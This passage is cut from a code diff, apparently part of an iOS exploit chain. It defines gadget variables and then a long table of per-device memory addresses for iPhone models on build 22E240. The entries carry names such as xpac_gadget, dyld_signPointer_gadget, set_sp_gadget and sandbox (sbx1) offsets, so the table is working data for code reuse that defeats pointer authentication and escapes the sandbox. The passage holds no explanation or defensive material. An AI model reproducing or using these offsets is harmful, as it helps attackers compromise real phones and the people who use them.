0n; + let dyld_patching_noprolog_gadget = 0n; + let malloc_restore_2_gadget = 0n; + let set_sp_gadget = 0n; + let read_surface_address_gadget = 0n; + let malloc_restore_0_gadget = 0n; + let malloc_restore_1_gadget = 0n; + let malloc_restore_3_gadget = 0n; + let dyld_patching_dispatcher_gadget = 0n; + let braaz_x8_gadget = 0n; + let transformSurface_gadget = 0n; + let tcall_CRLG = 0n; + let tcall_X0LG = 0n; + let tcall_RLG = 0n; + let tcall_CSSG = 0n; + let tcall_DSSG = 0n; + let tcall_DG = 0n; + let _CFObjectCopyProperty = 0n; + let load_x1x3x8 = 0n; + let fcall_14_args_write_x8 = 0n; + let _4_fcalls = 0n; + let self_loop = 0n; + let jsvm_isNAN_fcall_gadget = 0n; + let jsvm_isNAN_fcall_gadget2 = 0n; + let store_x0_x0 = 0n; + let str_x1_x2 = 0n; + let mov_x0_x22 = 0n; + let add_x22_0x90 = 0n; + if (integrated) { + sbx1_offsets = { + "iPhone11,2_4_6_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecf72ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f0198cn, + fcall_14_args_write_x8: 0x24c44cf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a994fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, +"iPhone11,6_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecf72ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f0198cn, + fcall_14_args_write_x8: 0x24c44cf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a994fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + +"iPhone11,4_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecf72ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f0198cn, + fcall_14_args_write_x8: 0x24c44cf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a994fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + + "iPhone11,8_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecbf2ecn, + tcall_X0LG: 0x21ed6ef24n, + tcall_RLG: 0x20db2e218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260ef098cn, + fcall_14_args_write_x8: 0x24c414f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a95cfd4n, + transformSurface_gadget: 0x20ff14970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone12,1_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecc32ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260fe298cn, + fcall_14_args_write_x8: 0x24c460f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a960fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone12,3_5_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecc32ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260fe298cn, + fcall_14_args_write_x8: 0x24c460f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a960fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, +"iPhone12,5_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecc32ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260fe298cn, + fcall_14_args_write_x8: 0x24c460f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a960fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + + "iPhone12,8_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ebdb2ecn, + tcall_X0LG: 0x21ed6ef24n, + tcall_RLG: 0x20db2e218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f2198cn, + fcall_14_args_write_x8: 0x24c370f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a878fd4n, + transformSurface_gadget: 0x20ff14970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone13,1_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae52ecn, + tcall_X0LG: 0x21ed85f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26127d98cn, + fcall_14_args_write_x8: 0x24c633f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a782fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone13,2_3_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae92ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26161e98cn, + fcall_14_args_write_x8: 0x24c637f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a786fd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, +"iPhone13,3_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae92ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26161e98cn, + fcall_14_args_write_x8: 0x24c637f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a786fd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, + + "iPhone13,4_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae92ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26161e98cn, + fcall_14_args_write_x8: 0x24c637f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a786fd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,2_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eabd2ecn, + tcall_X0LG: 0x21ed8df24n, + tcall_RLG: 0x20db3a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24c683f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a75afd4n, + transformSurface_gadget: 0x20ff20970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone14,3_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eabd2ecn, + tcall_X0LG: 0x21ed8df24n, + tcall_RLG: 0x20db3a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24c683f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a75afd4n, + transformSurface_gadget: 0x20ff20970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone14,4_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eab52ecn, + tcall_X0LG: 0x21ed85f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26164398cn, + fcall_14_args_write_x8: 0x24c67bf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a752fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,5_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eab52ecn, + tcall_X0LG: 0x21ed85f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26164398cn, + fcall_14_args_write_x8: 0x24c67bf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a752fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,6_22E240": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ea312ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x2615f298cn, + fcall_14_args_write_x8: 0x24c5eff7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a6cefd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,7_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eacd2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a0398cn, + fcall_14_args_write_x8: 0x24c693f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a76afd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone14,8_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eacd2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a0398cn, + fcall_14_args_write_x8: 0x24c693f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a76afd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,2_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261df898cn, + fcall_14_args_write_x8: 0x24c6d4f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,3_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261df898cn, + fcall_14_args_write_x8: 0x24c6d4f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,4_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a9d98cn, + fcall_14_args_write_x8: 0x24c6d8f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,5_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a9d98cn, + fcall_14_args_write_x8: 0x24c6d8f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone16,1_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2625fc98cn, + fcall_14_args_write_x8: 0x24ce88f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone16,2_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2625fc98cn, + fcall_14_args_write_x8: 0x24ce88f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,1_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261ee098cn, + fcall_14_args_write_x8: 0x24c76cf7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 